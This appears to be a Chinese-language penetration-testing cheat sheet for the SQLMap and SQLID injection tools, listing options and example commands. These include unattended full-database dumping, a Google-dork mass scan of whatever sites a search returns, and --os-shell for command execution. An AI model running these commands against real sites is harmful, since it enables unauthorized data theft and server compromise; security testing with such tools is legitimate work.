SQLMap:功能最完整的自動化盲注利用框架
- Python 開發,跨平台(Windows/Linux/macOS)。
- 支援 完整資料庫指紋識別(MySQL、Oracle、PostgreSQL、SQL Server、Access、DB2、Informix、Sybase、Interbase 等)。
- 功能涵蓋:注入點偵測 → DBMS 指紋 → 列舉使用者/雜湊/資料庫/資料表/欄位 → 自訂 SQL 查詢 → 讀取檔案系統 → 作業系統命令執行(視權限)。
- 支援多種注入類型:布林盲注、時間盲注、錯誤回顯、UNION 查詢、堆疊查詢。
基本用法
sqlmap.py [選項] {-u URL | -g Google dork | -c 設定檔}
常用選項:
-u URL 目標 URL(含注入點參數)
-g "dork" 以 Google dork 批量掃描
--batch 全自動模式,不提示確認
--dbs 列舉所有資料庫
--tables -D db 列舉指定庫的資料表
--columns -T tbl 列舉指定表的欄位
--dump -T tbl 導出指定表資料
--sql-query "Q" 執行自訂查詢
--os-shell 嘗試取得 OS shell(需高權限)
實戰範例
# 1. 單一 URL 全自動掃描並導出所有資料
sqlmap.py -u "https://target/page.php?id=1" --batch --dump
# 2. Google dork 批量偵測
sqlmap.py -g "inurl:php?id=" --batch --dbs
SQLID:輕量級靜態掃描器
- Ruby 開發,命令列工具。
- 專注於靜態分析:掃描網頁原始碼、表單參數、URL 參數,尋找潛在注入點與常見錯誤訊息。
- 支援 HTTP/HTTPS、Basic Auth。
- 四種模式:Google 搜尋、單一 URL、單一頁面、整站爬蟲。
用法
sqid.rb [選項]
模式 -m:
g (google) Google 搜尋模式
u (url) 檢查單一 URL
p (page) 檢查單一頁面
c (crawl) 爬蟲整站
Google 選項:
-q "query" 搜尋關鍵字
-s N 起始結果索引
-r N 需要結果數(預設 20)
適用場景比較
| 工具 | 定位 | 優勢 | 適用階段 |
| SQLMap | 自動化利用框架 | 功能最全、支援資料庫最多、可達成 RCE | 滲透測試中後期、漏洞驗證與利用 |
| SQLID | 靜態掃描器 | 輕量、無需注入點即可掃描、適合大範圍資產排查 | 資產發現、初步風險評估 |